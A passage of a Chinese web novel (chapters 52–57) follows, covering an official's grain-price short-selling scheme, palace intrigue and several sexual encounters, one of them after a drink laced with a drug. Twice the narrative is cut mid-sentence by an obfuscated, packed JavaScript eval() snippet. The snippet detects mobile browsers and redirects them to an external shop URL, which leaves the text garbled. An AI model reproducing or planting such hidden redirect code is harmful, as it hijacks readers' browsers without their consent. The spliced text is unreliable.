朱玉润正在夹菜的手微微一顿,见季褚大踏步的进来,立马挥退了侍女,美眸之中浸满了含情脉脉,“还不是妾身身子骨太弱,睡到刚刚方才起来。” 季褚做到对方身边,轻轻握住了朱玉润的小手,“都怪我,害苦了夫人啊!” 朱玉润幽怨的嗔了他一眼。 虽然独守空闺十五载,但她如今正是如狼似虎的年纪。 在京城,因为身份使然,也无人敢轻易打她主意。 此番接触下来,她对季褚可谓是满意至极。 累是累了点,但个中滋味不足为外人道也。 此刻被季褚主动捉住手,顿时脸颊发烫,心神荡漾。 “大人可曾用膳,不妨在这里吃点。” “刚刚吃过了,夫人慢用,我不急。”季褚道。 虽然季褚没有采取高士奇的计策,但却也给他打开了一个新思路。 一旦引起恐慌抛售,他们完全可以抄底,狠赚一笔啊。 府衙不好出面,但朱玉润却是一个很好的合作对象。 朱玉润还以为季褚找她找上瘾了,脸颊微红轻轻的嗯了一声,“妾身已经吃好了。” 说完,顺势把头靠在了季褚肩上,眉目顾盼的望了他一眼,而后慢慢闭上了眼睛。 季褚??? “夫人,大白天的,别闹……” “讨厌,就知道使唤妾身,妾身依你便是……” “不不不,夫人,你误会了,我此次前来,是来送夫人一桩赚钱的买卖。” 朱玉润尴尬的撑起身,哪成想,下一秒就被季褚拦腰抱起走向了床榻。 朱玉润哎呀一声,紧紧抱住了季褚脖子,“大人不是说送我一桩赚钱的买卖吗?” “咳咳,一样能谈,两不耽误。” 第53章 震惊:金手指现,季大人成香饽饽了 “临安粮价的暴跌已经成为定局,只要跌破一百二十文夫人便可遣人大肆收购。” “大人何解?” “用手解,咳咳……夫人且听我慢慢道来,这叫做空,其实很简单的一个道理理论上是先借货卖出,再买进归还……” 季褚将后世资本市场的做空手段,和对方详详细细的说了一遍。 如今长葛粮价的定价权完全掌控在他手里,这种又当裁判,又当守门员的权利在手,想大赚一笔还不轻轻松松。 二人深入浅出了一个时辰,朱玉润送走季褚,立刻唤来管家操办此事。 而此刻,下午的市场已经有人开始抛售粮食。 从比官方定价低一文,低两文再到低五文,后有粮商出手吃下,小幅度拉升一两文,可也不过是昙花一现,直到傍晚,市场上的粮食已经跌到了一百一十文。 朱玉润吃进五万石。 而且比预想的还要简单,她那边刚吃下,通过县衙的手,倒手就被五大家族抢购一空。 平均一石净赚60文,五万石就是三千两。 这让季褚都怀疑那五个老头的脑子是不是被驴踢了。 不是老头脑子被驴踢了,而是老头们感觉只要吃下府衙的粮食,就能回到昨日的价格。 时间很快就来到了子时。 季褚推开房门,来到隔壁赵子衿的房间轻轻敲了几下。 吱扭一声,赵子衿一身红色襦裙,轻轻打开了房门,红着脸让到了一旁,“大,大人,请进。” 季褚也是经历了一番深思熟虑,如果真是自己想的那样,自己就顺水推舟。 这可不完全是觊觎对方的美色,主要还是为了学到真本事,以后有自保的能力。 还是那句话,爹有娘有,不如自己有。 生逢乱世,暗箭难防。 何况,赵子衿都邀请了,他又如何辜负美人好意。 季褚进入房间,就瞧见屋里放着一个冒热气的大浴桶,桌上还有一壶酒两个杯。 幽幽的烛光下,赵子衿露在襦裙外的肌肤宛如凝脂,白里透红,显得异常惹人。 “子衿这身红衣穿在身上,倒是显得气色越发的好了。” 赵子衿低着头,轻轻的嗯了一声。 身为杀手,既然下定决心投靠,她早就将生死置之度外。 命都可以送上,更何况其他,可一想到接下来的事,还是难免有些难为情。 “大人,且先饮上一杯。”赵子衿来到桌前拿起了酒壶。 “这有什么说法吗?” “大人喝了便是,子衿不会害你。” “子衿误会了,我岂是担心子衿害我,只是有点好奇,你如何传我功法。” “大人喝完就知道了。”说话间,赵子衿也给自己倒了一杯,拿起一杯递到了季褚面前。 季褚接过与她碰了一下,而后一饮而尽。 酒水混合着一股说不清,道不明的药味,很快季褚胸腔里就好似燃起了一团烈火。 “子衿,这酒?” 赵子衿夺过酒杯放到了桌上,一把将季褚拉了起来,“我先为大人宽衣。” 此情此景,何等明显。 季褚一把握住了赵子衿的手,“子衿,你对我的恩情,我季伯赢何以回报?” “子衿也是苦命人,这些年行走江湖,见多了是是非非,只要大人心系百姓,让世间少一些苦命人,子衿愿意为大人付出一切。” “别叫大人,以后叫我表字。”季褚说完瞬间就是一愣,不过气氛都烘托到这里了,谐音不谐音也无所谓了。 “伯,伯赢……”赵子衿怯怯的叫了一声。 不知是不是救里下了药的原因,季褚感觉自己的心都要化了,下意识抱住了对方的腰,“这就对了,你真心待我,我必不负你。” 赵子衿双手抵在季褚胸膛,抬着头,一双眸子水汪汪的,“那伯赢可知我今日为何要穿红衣。” “莫非子衿……” “嗯,子衿虽出身卑贱,但也是清白之人,以后伯赢便是子衿的依靠,我,我先教伯赢功法吧……一会儿浴汤该凉了。” “要在水里吗?” “伯赢没有习武基础,浴汤中有我调配的药材,有洗经伐髓之效……” “如此,便都听你的。” …… 夜愈发的深了。 隔壁房间。 竹儿抱着腿蜷缩在床上,听着隔壁那让人面红耳赤的动静,委屈的直掉泪珠子。 “不要脸,呜呜呜,不要脸,就知道勾搭男人的狐媚子。 还有季褚,你也是个大混蛋,早晚死在女人肚皮上……” “要不要我出手,帮你把他割掉?” 闻言,竹儿顿时吓了一跳,赶忙擦了擦眼泪,发现韩江雪不知何时竟然进了屋,“郡,郡主,您不是在城外督促运粮吗,什么时候回来的?” “刚回来没多久,瞧你那点出息。”韩江雪一脸玩味,“你要真的动了情,待会儿我把他打晕送你房间来。” “郡主,你,你说什么呢,谁动了情啊!” “嘁,眼睛都肿了。” “我……” “哎,无趣,我去练剑了。”说完,韩江雪放下茶杯,拿上剑走出了房间。 …… “伯赢,可学会了?”赵子衿捋了捋散乱的发丝,“细细感受丹田,可是感觉到了一股暖流?” 季褚闭着眼,“确实有了。” “那你可又不适?” “没有,感觉力量好像变大了不少,而且精力也越发的充沛了。” “把手给我。” 季褚立刻照做。 “奇怪。”赵子衿微微凝眉,“为何你学了此功法没有衰老的迹象,难道是练得时间短,脉象上看不出来?” “这不是好事吗?” “确实是好事,也罢,我便再助伯赢修炼几次,待会儿再看看,若有衰老迹象,伯赢以后就不要再练了。” “也好,唔……” 不知不觉,天边已经泛起了鱼肚白。 “伯,伯赢,我,我,要,要突破了……再来一次。” “好!” …… 翌日,清晨。 二人各自盘膝坐在床上,就跟练邪功的一样,事实上确实练了一晚上的邪功。 突然,赵子衿兴奋的睁开了眸子,“突破了,伯赢,我竟然真的突破了。” 季褚调息完毕,只见坐在旁边的赵子衿越发的明艳动人了。 若非自己确确实实得到了好处,他甚至怀疑,到底谁才是那个炉。 “这是什么情况?” “把手给我。” 季褚立刻把手伸了过去。 片刻后,赵子衿一言不发,匆匆出门,不多时便将沉着脸的竹儿,以及一脸惊奇的韩江雪叫进了屋。 季褚老脸一红,尴尬的恨不能找个地缝钻进去。 “竹儿妹妹,你帮大人号一下脉,我有点拿捏不准。” “到底怎么回事?”季褚愕然道。 “还能怎么回事,看你有没有被狐狸精吸干。”竹儿嘟嘟囔囔走到床榻旁,“手给我。” 很快,竹儿便号完了脉,狐疑的看向了赵子衿,“你当真与他练了一整晚的邪功?” 赵子衿俏脸一红,“确实如此。” “那就奇怪了,不仅没有衰老迹象,观其脉象反倒是越发的年轻了。” “有没有可能,其实你已经到了突破的边缘,昨日刚好突破?”韩江雪托着下巴狐疑的看着赵子衿。 赵子衿摇了摇头,笃定道:“不可能,我的境界卡了数年一直没有找寻到突破的契机,昨日我与大人一同修炼,能够感受到他的力量一直牵扯着我的力量,每……每回馈一次,我的内劲都会深厚一丝。” “嘶……” 韩江雪倒吸一口凉气,眯着眼看向了季褚。 如真如此,那岂不是把季褚丢到桑娘子那队女卫营里,就可以批量制造高手了? 季褚脑袋皮一阵发麻,不由缩了缩脖子,“不是,你你你,你啥眼神啊?” 韩江雪嘴角噙起一抹淡淡的微笑,柔声道:“无事,季大人还真是个福星啊,大人今日早膳想吃什么,我这便安排人去做。” “郡主,麻烦你恢复一下,现在的你令本官有些心慌。” “无妨,习惯就好了,以后本郡主会对你格外的好。” 季褚悚然一机灵,他就是再蠢也听明白了。 合着修了邪功不仅自己能变强,同修的也一样有好处。 再联想到自己嘎嘎猛的小体格子。 果然……他就说嘛,穿越者哪有不带金手指的,只是解锁的姿势不对劲。 只是有了这样的金手指……我还想当驸马,公主乐意么? 竹儿警惕的看向了韩江雪。 至于赵子衿,已然感受到了韩江雪的恶意,挺身挡在了季褚身前。 就在这时,高士奇的喊叫,打破了屋内剑拔弩张的气氛。 第54章 季大人我这小身板,不堪重妇啊 “此事不得外传。”韩江雪突然变得杀气腾腾,警告道。 “喏!” 竹儿和赵子衿齐声应喏。 韩江雪给了季褚一个意味深长的眼神,快步走了出去。 季褚嘴角一抽,莫名的想到了一个画面。 “想不想变强,想变强就到榻上等着……啧,我尼玛,怎么感觉越来越像反派了?” 他发现自己似乎越来越背离初心了,开始只想逃离公主府,安安生生娶几房小妾,当个富贵闲人啊! 迫不得已出了几个反派才会用的阴损主意,嘿,您猜怎么着,逃不掉了嘿! 皂滑弄人,逃不掉就逃不掉呗,混个驸马当当也不错。 可现在咋回事呀,怎么还在反派的道路上越走越远了呢! 尤其是韩江雪那个意味深长的眼神,他有理由怀疑,对方想把自己变成批量刷等级的经验包。 若都是赵子衿这般佳人,他可以委屈一下自己,可万一来几个皮糙肉厚,膀大腰圆的老妪…… 季大人我这小身板,不堪重妇啊! 就在他胡思乱想之际,高士奇兴奋的走进了屋子,“下官见过大人。” “昂,老高怎得这般高兴,莫非是捡到钱了?” “哈哈哈哈,回大人,这可比捡到钱还令下官高兴。”高士奇直起腰,“今日售粮点,已无昨日那般热闹景象,而且下面人来报,市面上的粮食交易,已经跌到了107文,照此情形,回归正常就在近日。” 说着,高士奇一甩官袍郑重其事的跪在了地上,“下官代长葛十数万百姓,叩谢大人活命之恩。” “然后呢?” 高士奇一脸愕然,“然然然,然后?” 他是真的不淡定了,每次来见季褚,都感觉自己像个大傻子。 “八百里加急请旨,万民血书,这可都是你的手笔。”季褚恨铁不成钢的看着对方,“你那大脑袋瓜,何时能把聪明劲儿用到对的地方?” 高士奇瞬间恍然,“先前重重下官深感愧疚,昨天便上了折子为大人正名。” 有错主动改和被领导提醒再改,给领导的感觉还是很不一样的,至少在季褚看来,高士奇也不是完全无可救药。 毕竟,长葛的事儿要想完美收官,就少不了李清瑶在庙堂上的支持。奏章递上去,相信用不了多久,李清瑶就能从天牢出来。 李清瑶出狱之时,就是他落下最后一把屠刀之日。 季褚满意的点点头,“起来说话吧。” “谢大人。” “稍后下令再降十文,先说说开工的事儿安排的怎么样了……” 这边季褚听着高士奇的汇报,一切向好。 而另外一边,郑家此刻却是愁云惨淡。 孙诩端坐上首,愤怒的一摔茶盏,“107文,你们是怎么做事的?” “大人,不是吾等不尽心,实在是卖粮的人实在是太多了,光是昨日吾等就收了将近三十万石,再收下去,不仅血本无归,如此多的粮食也无处存放啊!”郑家主惆怅道。 大家都不傻,季褚的用意此刻早就摆在了明面上,而昨天他们的反制不仅没起到任何效果,反而愈演愈烈。 尤其是昨日,他们安排人去官府的粮点扫粮,结果有人出手大批购买市面上出现的低价粮,转手送到官府粮点,再卖给他们。 明目张胆的趴他们身上吸血,夺笋,夺笋啊! 长此以往,多大的家底也不够往里面填! 其余四家已经心生退意,郑家主作为牵线人,主脉又与三皇子一荣俱荣,所以只能一遍安抚其他人四家,一边请三皇子的人过府,求个更好的解决办法。 “少找那些无用借口。”孙诩双眼喷火,红红的眼珠子布满了血丝,几乎要噬人,“你五大家族盘踞长葛百年之久,区区三十万石粮食,会无处存放? 别怪吾把丑话说在前头,坏了三殿下的大计,你我全都吃不了兜着走。” “大人,请赎老夫直言,治疾当求其本,解患须溯其源,否则吾等便是倾家荡产,也吃不下源源不断的粮食。”吕老说道。 孙诩略有深意的看了吕老一眼,心道这长葛也不尽是蠢人。 “这一点吕老无需担心,尔等只需齐心协力,将那些小粮商手里的存粮扫购一空。 稍后我会和那些外地来的大粮商沟通,让他们一粒粮食不得流出。 你我齐心协力,世面上的粮食少了,粮价自然也会抬到几日前的程度。” 吕老用力揪着胡须。 人老奸马老滑,孙诩的话听着是那么回事,可谁敢保证大粮商不会乔装一番变成小粮商? 明面上没人敢得罪三皇子,可暗地里只要不被抓现行,实打实的利益才是真啊! 亏得孙诩自称三皇子身边顶级谋士。 就这? 简直愚蠢至极,他甚至有点后悔早早靠拢三皇子,好在,一切还不晚。 等他回过神来,发现大家全都齐齐看着自己,不由一愣,顿时揪断了几根胡须。 “诸位,何意?” “咳咳,无事!” “对对对,无事,无事!” 四个老贼对视一眼,全都僵笑一声,不约而同的把目光挪到别处。 虽然都不说,但心里都有数。 因为大家发现了一个问题,好似每回吃亏,吕老的胡子必断。 所以,吃亏还是吃福,看他胡子断不断就成了。 “好了,诸位务必想清楚一件事,各家先前都囤积了不少高价粮食,如果扛不住,吾等之前的投入不仅打了水漂,而且损失惨重。 只有齐心协力,才能稳住局面,盆满钵盈。” “没错,大人此言有理,我吕家必然支持到底。”吕老率先站出来喊出了口号。 “对对对,齐心协力,共同进退。” 见火候差不多了,吕老心中冷冷一笑,“大人,老朽这就回府筹措银钱,势必将市面上抛售的粮食扫够一空。” “大人,吾等也去!” “同去,同去!” 很快,大堂之中就只剩下了郑家主和孙诩。 “孙大人,那老朽也去安排一下。” “去吧,本官也得回去盯着!” 送走孙诩,郑家主立刻把管家招了过来。 “老爷放心,银钱之事昨日便准备好了,随时可以大量购粮。” “蠢货!”郑家主臭骂一声,“去,化整为零,将咱家的存粮全部卖出。” “啊?”管家大惊失色。 “啊什么啊,速去,晚点,怕是另外几家已经开始卖了。” 吕老马车。 “快快快,再快点……” “老爷,前面过不去了。” “蠢货,把车解了,你骑马回府,通知管家以最快的速度把咱家存粮卖出去。” “喏!” 张老马车。 长老抱着年轻的美艳小妾,随着马车一路摇晃。 “老爷,让车夫慢点吧……妾身要被摇散架了。” “慢不了一点啊,今日表兄胡子又断了……我张家必须抢在其他几家前面把粮食卖出去。” 城门口。 孙诩出了成,那也是对着马屁股一个劲的抽,看的护卫心都疼了。 “大人,都抽出血来了。” “区区畜生而已,如果不能趁着那几个老匹夫反应过来之前,把砸手里的粮食卖给他们,到时流血的就是咱们的屁股……驾驾驾!” 孙诩猛抽马臀,抽的哪里是马,分明就是那无耻之尤的马夫。 想他孙诩入幕数年,可谓是计谋不断,三皇子能有今天,少不了他出谋划策。 何曾想过,智计无双的他,今日会栽在一个名不见经传的马夫身上。 不仅败了,还败的一塌涂地。 信任毁起来容易,建立起来难啊,所以他必须得挽回一部分损失。 至于长葛五大家族,一群事都办不明白的蠢货,就让他们陪葬好了。 第55章 朕咋糊涂了呢? 京城。 宋府。 宋惜惜身着华美襦裙,绝美的脸庞,傲人的身段,身后还跟着一群婢女。此刻端坐上首,手端茶茗,可谓是贵气十足。 见宋辉匆匆而来,立马起身甜甜笑道:“小妹见过哥哥!” “妹妹无需多礼。”长公主自请下狱,宋辉可是高兴坏了,上下打量了妹妹一眼,笑道:“妹妹这身打扮,似乎很受王爷宠爱啊,倒是为兄瞎替妹妹担忧了。” “这还多亏了我宋氏一族愿在关键时刻鼎力相助,听说这都是哥哥的功劳。 今日我便再告诉哥哥一个好消息,三殿下已经进宫帮哥哥请旨和离了,顺便还要封我为侧妃。” 闻言,宋辉瞬间大喜过望,“好好好,如此这般,那岂不是双喜临门,可惜母亲还在长葛,不能即刻分享这份喜悦。” “我已派人去书院接三弟归家,你我兄弟姐妹共同庆祝也是一样的,而且我已命人传信于母亲,想必她老人家知道以后也会很欣慰。” …… 天牢。 几盏油灯摇曳,如鬼火般照在每条通道斑驳的墙壁上,就好似一张张巨大的兽口,张牙舞爪,让人感觉进入了一个阴森的鬼域。 空气中弥漫着刺鼻的腐臭味,以及那令人作呕血腥气与汗臭。 天字一号房间。 李清瑶一身素衣坐在案几前,一盏清茶,一捧古书看的津津有味。 就在这时,一阵急促的脚步声由远及近。 李清瑶抬头,就见李康已经来到了牢门外面。 “阿姊……” 见往日风光无限的皇姐憔悴了这么多,李康死死握住了栅栏,愤怒的吼道:“你们就是这般对待皇姐的?” 稚龙也是龙啊,这一嗓子,吓得随行众人跪了一地。 “他们也不过是奉命行事,并未苛责与我。”李清瑶清冷的脸上露出了一抹欣慰的笑容。 “还不快滚。”李康回头瞪了一眼众人。 “臣等告退。” “皇姐,刚刚宋辉竟然求老三上折子请旨和离,那宋家简直欺人太甚!”李康恨恨的说道。 “本就无感情,他想离便离了罢,而且静下心来一想,季褚那日说的没错,要想争到那个位置,基本盘必须稳。 以后公主府只能有一个声音。 哪怕他不提,回头我也得找个由头与驸马和离。 他提出来,倒也省得我日后麻烦。” “季褚,又是季褚,皇姐说他有经世之才,可结果呢,不拉出来他是千里马,拉出来简直驴子都不如。 若非是他,皇姐又怎会深陷囹圄,受此无妄之灾?” “康儿,你的心太烦躁了。” 李康瞬间一愣。 “此局未终,胜负尚悬。季伯赢非池中之物,你还是不够了解他。” 李清瑶放下书本,嘴角渐渐扬起了一抹自信的弧度,“那日朝堂之上,世家皇子结党营私,拧作一股,父皇眉头紧锁,其忧可见,其患深矣。 正因如此,今日之打压愈烈,他日之反弹愈强。 我愈受折辱,父皇愈见忠奸,明日复起之时,必如破云之日,光耀朝堂。届时话语权自重,岂是眼下宵小所能窥测? 十日之期未尽,康儿何须长他人志气,坠了自己的威风! 宋辉想和离,那便离,你且推波助澜一番……” …… 春暖阁。 梁皇负手而立,看着面前画像上那张与李清瑶有九分相似的画像,不由呆呆出神。 “爱妃,你怎就舍得离朕而去,如今朕连个说说心里话的人都没有了。” 他抬手轻轻抚摸画像上那张脸,眉头越皱越紧。 世家,是他心里的一块病。 而今三皇子依靠世家,几日便轻轻松松就能左右一地粮价,更见世家可怖之处。 他想除掉世家,可处处又离不开世家。 所以那日李清瑶入宫,讲了一下家中发现的那位奇才,梁皇便来了兴趣。 因为他看到了一种可能,一种钝刀子割肉解决世家的可能。 可终究是期望越大,失望越大。 梁皇谈了口气,“来人,摆驾昭宁宫去虞美人那。” 恰在此时,一个老太监疾步匆匆走了进来,“老奴参见圣人。” “起来说话,让你安排的事情有眉目了?” 老太监起身,恭敬道:“回圣人,老奴正要汇报此事,根据老奴调查,高县令两次上奏都是实情。” 梁皇深吸了口气,一颗心瞬间沉落谷底。 可接着就听老太监说道:“然,此刻事情已经出现了转机……” 他巴拉巴拉把长葛了解到的最新情况说了一遍。 “这小季大人的手段当真了得,竟然骗了所有人。圣人洪福齐天,您让老奴偷偷运去长葛的粮食,怕是用不上了,” “当真如此?”梁皇震惊道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙诩下车,五个老头毕恭毕敬的走下台阶迎接,毫无相互出卖后的尴尬,纷纷上前问好,将人迎进府邸。 “诸位,别的话不要说,不要讲,我就问你们想不想戴罪立功!” 第56章 大人,玉润想给你生个孩子 长葛后衙。 季褚步履匆匆来到宋夫人朱玉润下榻之处,见她一脸苍白,摇摇欲坠,不由一阵吃惊,“夫人派人唤我,可是发生了什么事,脸色为何这般难看?” 宋夫人赶忙起身关上门,直接扑到了季褚怀里,“还请大人救救宋府。” “夫人莫急,先说说发生了何事?” 片刻过后。 季褚也终于明白了是怎么回事。 好家伙,他是真不知道那姐俩是蠢呢,还是蠢呢! 情况尚未明确,李清瑶刚刚下狱,宋辉便请旨和离,偏偏这事儿梁皇竟然直接允了。 更要命的是,竟然还准了三皇子纳宋氏嫡女为侧妃的请求。 两地传递消息本就有延迟,如果宋家没继续倒回长公主这边,而是一门心思支持三皇子,肯定少不了宋家的荣华富贵。 可问题是宋家那二十万石粮食,已经彻底斩断了宋家退路,只能彻彻底底捆绑在长公主府这台战车上。 如此一来,宋氏嫡女嫁过去,还能有好? 也难怪朱玉润这般六神无主。 季褚轻轻拍着对方后背,安抚道:“玉润啊,你这培养孩子的手段太失败了。” “大人,如今你也算是他们兄妹的假父。”宋夫人哭哭啼啼道:“大人让玉润做什么,玉润都应,只求大人能看在玉润尽心伺候的份上,万万不可见死不救。” 闻言,季褚知乎一个好家伙。 假父? 季褚心里莫名出现了一个画面,宋辉和宋惜惜站在自己面前恭敬行礼,喊爸爸…… 我擦……什么乱七八糟的,赶紧给老子滚开…… 季褚深吸了口气,静下心来快速思考对策。 他季大人可不是那种心胸狭隘之人,能和公主建立羁绊,宋辉没有功劳也有苦劳。 更何况,自己还和人家老妈建立了深深的羁绊。 所以这两日常与宋夫人交心,他也给宋家指出了一条明路,打算将宋家培养成长公主府的钱袋子,很多长公主府不好出面的事儿,都可以交由宋家去办。 事实上这几天通过做空,朱玉润也赚了十几万两银子,二三十万石粮草。 可想了半天,他还是想不出应该怎么拯救宋惜惜。 无他,自作孽不可活啊。 毕竟情况和情况不一样。 宋辉和李清瑶结婚数年,也无子嗣,宋辉请旨合情合理,只要双方都不计较,皇帝爸爸也不能硬往一块凑啊。 宋惜惜和李智就不一样了,刚请旨赐婚就又请旨悔婚的,你逗梁皇玩呢?何况李智已经恨**宋家,不好明面对付宋家,可关起门来往小媳妇身上撒气,谁管的了? “玉润啊,这事儿需要从长计议,我现在也实在没什么好办法,只能走一步看一步。”他想说实在不行,咱就再生个女儿,可又怕太扎心。 “呜呜呜呜,我命怎得这般苦啊!”朱玉润闻言,瞬间泪崩趴在季褚怀里便呜呜哽咽起来。 自己的女儿什么秉性她又何尝不知,自然明白求季褚也是强人所难。 说白了,她现在就是想找人哭诉一场。 女儿选的路,是康庄大道还是遍布荆棘,也只能由她自己走下去。 哭了好一会儿,朱玉润才抽抽泣泣离开季褚的怀抱,“大人可否答应玉润一件事。” “你说?” “如若将来……可否留小女一命。” “我会尽力斡旋。”季褚随口说道,谁又晓得将来会发生什么,空头支票而已,开了也就开了。 朱玉润红唇轻抿仿佛下定了某种决心,“大人,妾身帮你生个孩子吧!” 季褚瞬间就被雷的外焦里嫩,一个踉跄险些没站稳。 不过季褚也意识到了一个新问题。 怜香一入青楼就被灌药毁了根基,这辈子不可能怀上。 但李清瑶是个正常人啊,他那几次都很努力,会不会已经怀上了? 还有这几日都在和赵子衿一同修炼,她呢? 再一个,和朱玉润也不知多少次了,要怀不应该早就怀了吗,她为何突然这样说? 莫非每次自己离开后,她都喝了避子汤? 似乎,很合理! 毕竟,寡居深闺十五载的贵夫人,突然怀孕……丢的不仅是宋府颜面,更是朱家颜面。 “玉润啊,我对你此刻的心情感同身受,其实方才我也想说,不如我们再生一个女儿。 可我终究没说,一方面是担心你的身体,另一方面也是担心你的名声啊。 人家见生男女好,不知男女催人老。 我还想与你朝朝暮暮,怎忍见你加速衰老。” “伯赢……我……” 朱玉润压根无法表达自己此刻的心情,万万没想到,自己在季褚心里的分量这般重,于是再次扑进季褚怀里呜呜哽咽起来。 直到一个时辰后,季褚才整理好衣服走出了宋夫人的房间。 出了小院,季褚顿时感觉到了一丝不对劲。 因为他发现除了公主府身着银甲的兵士外,还多了一些皇宫大内的金甲禁军。 季褚赶忙加快脚步回到下榻之处,赵子衿立马迎上前小声交代了几句。 季褚点点头,昨日他便接到了京城的飞鸽传书,圣人已经下旨派人下来彻查长葛五大家族。 虽说李清瑶现在还在狱中,但从下圣旨查五大家族来看,季褚也大概猜出了这爷俩的意图。 赶忙正了正衣袍,快步走进了房间。 就见一名面白如纸,一脸阴柔的老太监,正谄媚讨好的和韩江雪聊着什么。 “下官季褚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180888|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过刘公公。”季褚恭敬行了一礼。 天子近侍,执掌天子影龙卫的大太监,这特娘不就是正史中的东厂提督么。 这一刻,他是半点怠慢之心不敢有啊! “哎呦,我滴个纪大人呦,您这不是折煞了咱家嘛,快快免礼。”刘公公笑眯眯的上前拖住了季褚胳膊。 “谢公公!”季褚一脸崇敬道:“敢问公公此番前来所为何事?” “圣人下旨让咱家彻查长葛五大家族哄抬粮价一案,临行前,特意交代,若无头绪可来寻季大人帮助!” 季褚心中一动,“敢问公公,不知圣人是想震慑宵小,还是轻拿轻放?” “这帮乱臣贼子,趁着天灾哄抬粮价,其心当诛。”刘公公阴柔的声音不自觉流露出丝丝杀气。 “圣人英明啊,有此明君,百姓之幸,苍生之幸,更是吾等臣子之幸!” 说着,季褚扑通一下朝着京城方向跪了下去,砰砰就是一顿磕。 这一下,直接就给刘公公整不会了,“哎哎哎,季,季大人,无需这般,无需这般。 你之心意圣人已知,还请大人尽快拿个章程出来,咱家也好回去复命。” 季褚起身,再抬头,已经是泪眼婆娑,似是委屈的孩子终于找到了救星。 韩江雪这些经常和季褚待在一起的公主府老人,全都忍不住抽动嘴角,把头扭到一旁,这一幕,他们可太熟了。 也唯有赵子衿一双水眸熠熠生辉,心跳都慢了半拍。 不愧是我投靠的明主,这是何等的胸怀,又是受了何等委屈,才会男儿落泪啊! 季褚抹了抹眼角,快步来到书案前翻开一本书,将藏在里面的“君子协定”拿出来,递给了刘公公,“公公,下官忍辱负重,不惜污了自己的名声,小心翼翼与虎谋皮,那是半点不敢疏忽啊,这才拿到了五大家族哄抬粮价的实质证据,还请公公过目。” 赵公公一脸好奇,接过纸张一看,瞬间倒吸一口凉气。 好家伙,确实是不惜自污。 这般敢于豁出去,为国为民的忠臣,他还真没见识过。 什么,左春左大人? 那就是个大喷壶,除了喷陛下一脸唾沫,还能干点啥? 季大人就不一样了,不出手则已,出手必是财源滚滚。 简直连季大人一根脚趾都不如。 “公公,上述害民之财我已让临安郡主尽数保管,只等回京复命一同上缴圣人,既然公公来了,那便一块带回去吧!”季褚说道。 “季大人的品德属实令咱家钦佩不已,也罢,那咱家便将这些银两一同带回,也好为季大人证明。” 季褚:…… 擦? 你老刘啥意思? 我真给,你真要啊! 那我刚才不白演了? 第57章 总算是逛上青楼了 不是应该感念他季大人一腔热枕,作为损坏名声的补偿都给他,然后自己再推脱一番相互分账,你好我好大家好的局面? 莫非他把人看窄了,这还是个不贪财好色的老太监? 但,他说的又好有道理。 “郡主?” 韩江雪走上前,从怀里掏出银票递给了刘公公,“都在这里,公公清点一番。” 统共就那几张银票,稍微扫了一眼,刘公公便将其踹进了兜里,“郡主,季大人,有了这份证据,咱家便不再逗留,圣人那边还等着消息,这便拿了那五家人回京复命。 季大人如此年纪,便有一颗这般为国为民的忠心,假以时日前途必然不可限量。 咱家就先提前恭喜大人了。” “承公公吉言,既然公公着急,那下官便不在挽留,他日回京,若公公不弃,下官定与公公小酌几杯,也好多听听公公的教诲。” 刘公公满意的笑了笑,带着人便匆匆离开。 “演砸了吧?”韩江雪鄙夷道:“一个老太监而已,如此卑躬屈膝,当真丢脸。” “你懂个基……锤子。”季褚无语道:“人家可是圣人跟前的太监,他说的话,有时比大臣说话都好使,把关系搞好点对咱们将来的大计没坏处。” 说着,季褚用力锤了捶胸口,一屁股坐到了太师椅上。 “大人,您是哪里不舒服嘛?”赵子衿担心道。 季褚哪里都不舒服。 简直痛煞我也了都。 五大家族啊,盘踞百年,那得多少财货? 他还以为上面下个旨,自己带人去抄家,狠狠的中饱私囊一下,肥一肥自己。 万万没想到,梁皇老小子心眼子那么黑,一口汤都不打算给他留。 可这话他不能说啊,说出来好不容易立住的人设,岂不说塌就塌。 不过还好,他还有机会。 不到天黑,长葛五大家族被抄家,押赴进京的消息便传遍了全城。 高士奇也干了回人事儿,张贴告示,将季大人如何忍辱负重智斗五大家族的事儿简单的说了一遍。 瞬间,季褚的名声就在老百姓心中来了个两极反转。 至于五大家族,哪怕不出这件事,单就天灾以来他们做的那些事,也早就臭了。 当然了,普通老百姓也只是在心里蛐蛐几句,毕竟有些事有些人,离着他们太远太远。 可那些小家族就不一样了,一个二个就跟闻见腥味的猫儿一样,这几日纷纷打着支持文艺汇演的幌子,递上拜帖求见。 季褚看着高士奇递上来的文艺汇演报名单,整个人都emo了。 使劲搓了搓脸,指了指上面的项目,“老高啊……什特么的胸口碎大石,油锅捞金币? 你给太子妃看这个?哪个太子妃喜欢这般粗俗的东西。” 高士奇现在可谓是季褚最忠实狗腿子,也属实见识到了季褚的搞钱手段。 对,就是明着搞钱。 这对他清正廉洁的高大人来说,简直就是打开了一扇不贪不占谋发展的新大门。 一条纸,一笔墨,嘿,您猜怎么着,五十两,五十两啊! 争先恐后的往你手里送,想拒绝,人家直接给你甩脸子,觉得你看不起人家。 “大人,人家可是交了钱的,五十两银子呢,要不先入了海选,时候再刷下去?” 季褚斜睨了一眼,“那这大郎炊饼是咋回事?咋的,现场给太子妃表演一下如何做炊饼?” “咳咳,是下官疏忽,稍后我便让人换来东家,把钱退回去。”高士奇老脸一红。 没办法,报名的人属实太多,他一个人根本忙不过来,这才出现了这种疏漏。 而且消息散播出去好几天,甚至来了不少外地报名者。 “那倒不必。”季褚叹了口气,“可以作为当日的饭食供应商,再划出一个项目,让城内做吃食的去竞整。 谁做的好吃,那日太子妃便吃谁家提供的食物。 我觉得五十两的门槛费太少,你觉得应该多少银两合适?” 